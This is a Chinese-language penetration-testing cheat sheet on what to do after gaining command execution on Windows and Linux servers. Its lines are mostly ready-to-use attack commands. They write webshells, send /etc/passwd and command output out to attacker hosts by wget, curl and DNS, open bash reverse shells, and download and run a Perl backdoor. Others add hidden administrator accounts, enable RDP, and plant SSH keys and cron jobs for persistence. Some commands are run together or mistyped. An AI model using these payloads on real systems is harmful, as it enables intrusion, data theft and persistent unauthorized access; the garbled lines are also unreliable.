命令执行后有关的一些归纳(持续补充)。
针对命令执行后对系统做更深入的渗透,常规先判断系统类型,命令是否回显,以及目标系统是否能够出网,即系统类型->是否回显->能否出网。代码相对简单,所以很多都是直接贴代码,有错误之处欢迎指正。
webshell(apache tomcat nginx等可直接解析脚本的写入webshell)
dir /s/a-d/b d:\*123456.asp #查找123456.asp 位置
echo ^<^%eval request^(chr^(35^)^)^%^> > "d:\JINHER\C6\JHSoft.Web.Login\images\LoginTemplate\whynot.asp" # <>等特殊符号在cmd下需要转码 而且写入文件不可带有<>:等特殊字符
copy c:\\Inetpub\\wwwroot\\ckfinder\\userfiles\\files\\images\\cknife.jpg c:\\Inetpub\\wwwroot\\ckfinder\\userfiles\\files\\images\\cknife.aspx # 命令不好使时尝试其他命令for /F %s in ('dir /s/a-d/b c:\*.aspx') do echo 123 >123.aspx
在有aspx文件的后面重新生成.aspx的后缀 内容为123 例如a.aspx 生成a.aspx.aspx #缺点相对暴力 优点不回显有时候也可以用
for /F %s in ('dir /s/a-d/b f:\*login.css') do echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> >%s.aspx
locate find等命令 查询文件位置
echo PD9waHAgcGhwaW5mbygpOz8+ | base64 -d > 360.php #PD9waHAgcGhwaW5mbygpOz+是<?php phpinfo();?> base64编码 linux文件名不能带有/(斜杠)
window
基于OOB(out of band)的回显(能出网)
for /F %s in ('whoami') do start http://10,10.10.10:8080/?user=%s #查询文件位置web历史记录 会打开目标浏览器
for /F %s in ('dir /b') do start http://10.10.10.10:81/?user=%scurl –T {path to file} ftp://xxx.xxx.xxx.xxx –user {username}:{password} #传输到ftp
wget –header="EVIL:$(cat /etc/passwd)" http://xxx.xxx.xxx:xxxx #需要自搭建server服务器支持
#wget –header=”evil:`cat /etc/passwd | xargs echo –n`” http://xxx.xxx.xxx:xxxxwget –post-data exfil='cat /etc/passwd' http://dnsattacker.com # extract data in post section
wget –post-file trophy.php http://dnsattacker.com # extract source code

linux
基于OOB(out of band)的回显
#curl `whoami`.xxxx.xxx(子域名) #可以用该方法把不回显变得回显
#curl http://10.10.10.10:81/?user=`id`
#wget http://10.10.10.10:81/?user=`id`
#ping %USERNAME%.b182oj.ceye.io
#ping -c 3 `ifconfig en0|grep "inet "|awk '{print $2}'`.test.xxx.com DNS记录获取源IP(根据情况需要修改,不通用)
通用的一些
需要域名服务器支持

反弹shell或传马(使用tcpdump -i eth0 icmp 来监听或者搭建web服务器查看访问日志等来能否出网)。
powershell直接反弹(03默认无powershell winserver08默认是2.0)

直接添加用户
net user xxx [email protected]#qwe /add #添加用户
net localgroup administrators xxx /add #将xxx用户加入管理员
net user xxx /del #删除用户REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f #开启3389 03 08测试通过

REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber #查看远程端口 十六进制
linux自带perl python ruby等语言,反弹shell较为容易 个人建议使用bash perl
判断能否出网
/usr/bin/curl
/usr/bin/wget
/bin/ping
如果担心引号转义麻烦或着其他 可以直接下载到服务器上执行
wget http://10.0.0.1/123344/back.pl -P /tmp/ 去掉前缀脚本
perl /tmp/back.plcurl `whoami`.xxxx.xxx(子域名) #可以用该方法把不回显变得回显
bash反弹
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1上传bash文件
#!/bin/bash\n\n/bin/bash -i >& /dev/tcp/$1/$2 0>&1PERL

2.非交互式添加linux用户
useradd -m test
echo "123456" | passwd --stdin test #非交互式设置密码
userdel -r test #删除该用户
3.写入.ssh/authorized_keys 或者 crontab
echo 公钥 > .ssh/authorized_keys
/var/spool/cron/root #centos 写入root用户任务计划
/etc/cron.d/shell #debian 在/etc/cron.d/会被当作任务计划执行
